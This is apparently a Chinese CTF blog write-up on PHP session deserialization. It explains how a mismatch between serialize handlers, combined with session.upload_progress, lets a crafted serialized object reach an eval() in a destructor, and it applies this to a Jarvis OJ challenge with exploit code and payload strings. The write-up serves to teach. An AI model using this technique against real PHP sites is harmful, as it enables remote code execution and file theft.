CTF Web安全

PHP的Session反序列化

Posted on 2020-01-25,7 min read

对于反序列化。我们已知的有phar/unserialize。Session也是可以触发反序列化的
首先。我们看下php对于Session的各项配置

session.save_path = "/tmp"
#session保存到/tmp目录
session.save_handler = files
#session的存储方式。这里是存储为文件
session.serialize_handler = php
#session默认的序列化引擎是php
session.auto_start = 0
#session是否默认打开。即是否默认开启session_start()
sess_sessionid
#session默认是以sess_随机字符串命名

上面配置文件中。session默认的序列化指定为了php。当然。还有其他两种序列化引擎php_binaryphp_serialize
我们看看具体有什么不同
当php为序列化引擎时

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name']=$_GET['name'];
?>
#name|s:4:"test";

通过查看session文件。其中的序列化内容为name|s:4:"test";
这就是php序列化引擎的格式。name为键-对应$_SESSION['name']。竖杠后面是序列化的值
php序列化格式键|序列化值
当php_binary为序列化引擎时

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name']=$_GET['name'];
?>
#names:4:"test";

php_binary序列化引擎。是以键:序列化值存储的
当php_serialize为序列化引擎时

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name']=$_GET['name'];
?>
#a:1:{s:4:"name";s:4:"test";}

php_serialize序列化引擎。和serialize函数差不多。

Session序列化
Session为什么会序列化呢。或者说。当什么情况下Session会进行序列化/反序列化
通过查看PHP手册。我们发现
session_start()即会话开始时。session就会通过指定的序列化引擎将$_SESSION序列化。然后放入文件进行存储。
相反。还会自动反序列化文件中存储的数据。然后填充到$_SESSION

session_start()
#session_start()->读取session文件内容->反序列化
$_SESSION['name']='test';
#serialize($_SESSION)->存入文件
整个流程就是这样


反序列化利用
Session反序列化都是序列化引擎不一致导致存在安全问题
例如:
index.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name']=$_GET['name'];
var_dump($_SESSION);
?>

vuln.php

<?php
ini_set('session.serialize_handler', 'php');
class A{
	public $name;
	public function __construct(){
		$this->name='gk';
	}
	public function __destruct(){
		echo $this->name;
	}
}
session_start();
var_dump($_SESSION);
?>

index.php设置的session序列化引擎是php_serialize
存储时会以serialize的格式序列化/反序列化

但是。vuln.php设置的Session序列化引擎是php
php序列化引擎的格式是以|为标识进行序列化/反序列化
这么说。并没有很明显的安全问题
当我们index.php。name指定为|123时
php_serialize引擎存入文件的内容为

a:1:{s:4:"name";s:4:"|123";}

访问vuln.php。以php的引擎。反序列化这串内容。会是什么效果呢

对。就是不能正常解析。php引擎以|为分割。|前面是值|后面才是要反序列化的内容
这里反序列化了123";}
这明显是不能正常反序列化的
|123是我们输出的name值。如果替换为一个类恶意序列化的字符串呢?

name输入|O:1:"A":1:{s:4:"name";s:4:"test";}
php_serialize存入a:1:{s:4:"name";s:35:"|O:1:"A":1:{s:4:"name";s:4:"test";}";}

再次进入vuln.php。以php引擎反序列化以上的字符串。

以|为分割。反序列化O:1:"A":1:{s:4:"name";s:4:"test";}
将类A的name值覆盖为了test。
然后。反序列化会自动调用类A。由于name参数已经被我们成功修改了。那么下面析构函数。应该会输出test而不是默认的gk

果真如此
a:1:{s:4:"name";s:35:"被当成了键。值是Object对象A。其中name的值为test

接下来拿一题CTF来练练手
http://web.jarvisoj.com:32784/

看源码得到如下信息:

1。session的存储引擎是php
2。OowoO类。如果可以控制$mdzz。即可执行任意命令。默认是执行phpinfo

我们再去phpinfo看看有什么特殊配置。
Session的处理器不同。一个是php。一个是php_serialize。

但是。index.php也没有php_serialize的页面让我们控制session内容
这里又有个新知识了

通过查看php手册。我们发现
当POST一session.upload_progress.enabled时。上传文件的进度将会存放在$_SESSION中。

还是做个实验比较清楚。
sess.php

<?php
session_start();
var_dump($_SESSION);
?>

upload.html

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.0.158/sess.php" method="POST" enctype="multipart/form-data" >
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

直接空文件上传。将文件名改为你要反序列化的内容
看。$_SESSION就会包含我们上传的文件信息

并且是先包含。在执行php内的代码
。那么针对这题。我们就有了意思
首先通过session.upload_progress。POST一个包含恶意OowoO类的序列化字符串
然后进入php代码中。
改变php引擎为php。再进行session_start()
而我们的恶意代码却是以默认php引擎执行的。
php_serialize+(恶意代码)。写入session文件->改变引擎为php->session_start()读取session文件反序列化->触发恶意代码
。就这样。
先把OowoO类的EXP写出来

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a=new OowoO();
$a->mdzz="print_r(scandir(dirname(__FILE__)))";
echo serialize($a);
?>

得到O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

__DIR__
得到当前目录名
__FILE__
得到当前文件的绝对路径
dirname(__FILE__)
得到绝对路径中的目录名

不知道为啥。这里用scandir('./')不行。会显示根目录。
用斜杠转义掉双引号。找到了flag

得到目录名。接下来就读取flag了

readfile/file_get_contents都行

下一篇: [BUUCTF]小易的U盘→